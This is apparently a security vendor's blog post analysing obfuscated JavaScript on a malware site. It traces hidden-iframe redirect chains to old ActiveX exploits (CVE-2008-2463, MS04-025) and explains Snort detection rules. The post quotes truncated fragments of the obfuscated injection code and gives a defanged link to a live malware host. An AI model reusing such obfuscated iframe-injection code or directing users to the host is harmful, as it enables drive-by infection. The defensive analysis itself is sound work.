Last week I got an e-mail from Edward Fjellskål, Senior Security Analyst at Sourcefire's new Norwegian partner Redpill Linpro. He'd run across a strange piece of obfuscated Javascript at hxxp://bizoplata.ru/pay.html (WARNING: CONTAINS LIVE MALWARE), and he wanted to know if I could figure out what exactly it was doing and whether it was indeed malicious.

A quick wget of that URL gave me Javascript that was clearly trying to hide something:


document.write(''+'<ifr'+'am'+'e '+String.fromCharCode(105)+String.fromCharCode(                                                                                                                                                 100)+String.fromCharCode(61)+''+'"7'+'4f'+String.fromCharCode(52)+''+unescape('%                                                                                                                                                 32')+'5'+'c'+unescape('%30')+unescape('%65%65%39')+unescape('%32%62')+String.fro
mCharCode(52)+String.fromCharCode(56)+''+'992a'+unescape('%65%33%62')+String.fro
mCharCode(49)+String.fromCharCode(56)+String.fromCharCode(99)+''+String.fromChar
Code(49)+String.fromCharCode(53)+String.fromCharCode(52)+''+'78'+String.fromChar
Code(98)+String.fromCharCode(97)+String.fromCharCode(34)+String.fromCharCode(32)
+''+String.fromCharCode(110)+String.fromCharCode(97)...

The question at hand, though, was what this nasty little piece of Javascript wanted to send my way at the end of the day. That's where a handy little tool called Malzilla comes in handy - it's basically a GUI front-end to SpiderMonkey, a C-based implementation of Javascript, along with some nifty features for following redirects, tweaking User-Agent strings and stuff like that:

Malzilla

I loaded the URL up in its main window, hit "Send script to Decoder", and then in the Decoder tab, hit "Run script". Out came the source for a trio of 1x1 pixel iframes, each pointing to different files on the bizoplata.ru domain. Hmmm, that's no good...

Loading up each of these three new URLs, I soon found myself playing a game of "how far down the rabbit hole can we go?", as their source was full of Javascript that pointed me to new iframes, which pointed to pages that used HTTP 302-based redirects to send me to new locations. After roughly three levels of redirect obfuscation, I finally reached the end goal - a page that contained an obfuscated version of the Microsoft Access Snapshot Viewer ActiveX vulnerability outlined in CVE-2008-2463. It wasn't exactly what I was hoping to discover - a 7-month-old ActiveX bug isn't anywhere near as fun as a fresh exploit that we could reverse-engineer and provide fresh coverage for - but clearly, it was what the attacker was using to deliver their malicious payload.

While we already provide coverage for attacks against this particular ActiveX vulnerability, via SIDs 13903-13910, I knew that those rules would be useless in the face of this particular method of exploitation, since the exploit had been so thoroughly obfuscated (an IDS would need a built-in Javascript interpreter that could dig through multiple levels of code at wire speeds in order to find this - which is unlikely in the extreme). That led to the obvious question: what could be done to help protect people against this style of exploit?

The answer is actually pretty easy: we simply detect the original JavaScript obfuscation technique. Legitimate web sites have no reason to call String.fromCharCode() more than, say, 5 times within a 500-byte space - while it's a perfectly useful function, a normal use case will be taking encoded data from a URL, database, or perhaps user input and then doing something useful with it, which will mean that you have plenty of intervening lines of code between calls to String.fromCharCode(). If some legitimate web site is obfuscating their Javascript - perhaps they're making a futile attempt to keep it proprietary - an analyst could easily follow the method I've outlined here to get to the meat of their code, and once they've determined that it's not malicious, simply ignore future alerts from visits to that web site (or better still, tell the webmaster of the offending site that they're using a technique primarily reserved for malicious code, and ask them to just de-obfuscate their Javascript).

With that in mind, a simple, fast Snort rule - SID 15362 - will do the trick to detect this attack, as well as any others that use this method of obfuscation.

Interestingly enough, when I returned to this malicious web site today to get my screen captures for this blog entry, I found that the payload had been switched up, including using a completely different style of obfuscation. The code at the web page referenced in the first paragraph here looked like:


eval(unescape('%u002f%u002a%u007a%u006e%u006d%u0065%u0078%u0067%u0063%u007a%u002a%u002f%u0076 %u0061%u0072%u002f%u002a%u0073%u0073%u006e%u0072%u006e%u006c%u002a%u002f%u0061%u0061%u0066%u0063 %u006f%u006f%u003d%u0022%u0030%u0038%u0038%u0032%u0030%u0036%u0031%u0038%u0035%u0032%u0030%u0032 %u0031%u0032%u0030%u0032%u0030%u0031%u0031%u0033%u0036%u0031%u0034%u0039...

After tracing my way through a similar set of redirects and iframes as with last week's malware, I ran across a much older, but apparently still effective, exploit - the ADODB.Stream ActiveX vulnerability from MS04-025:

Malzilla message

My first thought here was to go remind people to patch their boxes - and their grandmothers', and their crazy Aunt Millie's, and any other systems they could get access to. I mean, geez, 5-year-old exploits shouldn't be useful any more! Soon, though, I realized that I needed to be sure that we had detection for this style of obfuscation, too. It's pretty obvious how this can be achieved: by searching for calls to eval() that begin immediately with calls to unescape(), where the payload for unescape() is big. Again, there's no good reason to do this in the wild, and it's a well-known malware obfuscation technique - which means that it's worth providing detection for those who want it, even if it may generate the occasional false positive. You'll see a rule for this in today's rule release.